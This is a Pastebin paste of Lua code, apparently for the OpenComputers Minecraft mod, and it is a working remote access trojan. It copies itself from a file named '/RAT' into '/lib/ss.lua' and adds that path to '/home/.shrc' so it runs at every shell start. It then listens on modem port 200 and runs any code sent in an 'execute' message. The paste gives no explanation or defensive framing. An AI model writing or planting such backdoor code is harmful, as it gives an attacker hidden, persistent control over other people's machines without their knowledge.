Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local fs = require("filesystem")
- local cmp = require('component')
- local YOURPATH = '/RAT'
- local NOWPATH = '/lib/ss.lua'
- local STARTLINE = 0
- if cmp.isAvailable('modem') then
- cmp.modem.open(200)
- if not fs.exists(NOWPATH) then
- a = io.open(NOWPATH,'w')
- b = io.open(YOURPATH,'r')
- for i = 1, STARTLINE do
- b:read()
- end
- idk = ''
- for i = 1, 35 do
- idk = idk .. b:read() .. '\n'
- end
- b:close()
- a:write(idk)
- a:close()
- a = io.open('/home/.shrc','a')
- a:write('\n'..NOWPATH)
- a:close()
- end
- require('event').listen('modem_message',function(...)
- local e = {...}
- if e[4] == 200 then
- if e[6] == 'execute' then
- pcall(function()
- load(e[7])()
- end)
- end
- end
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement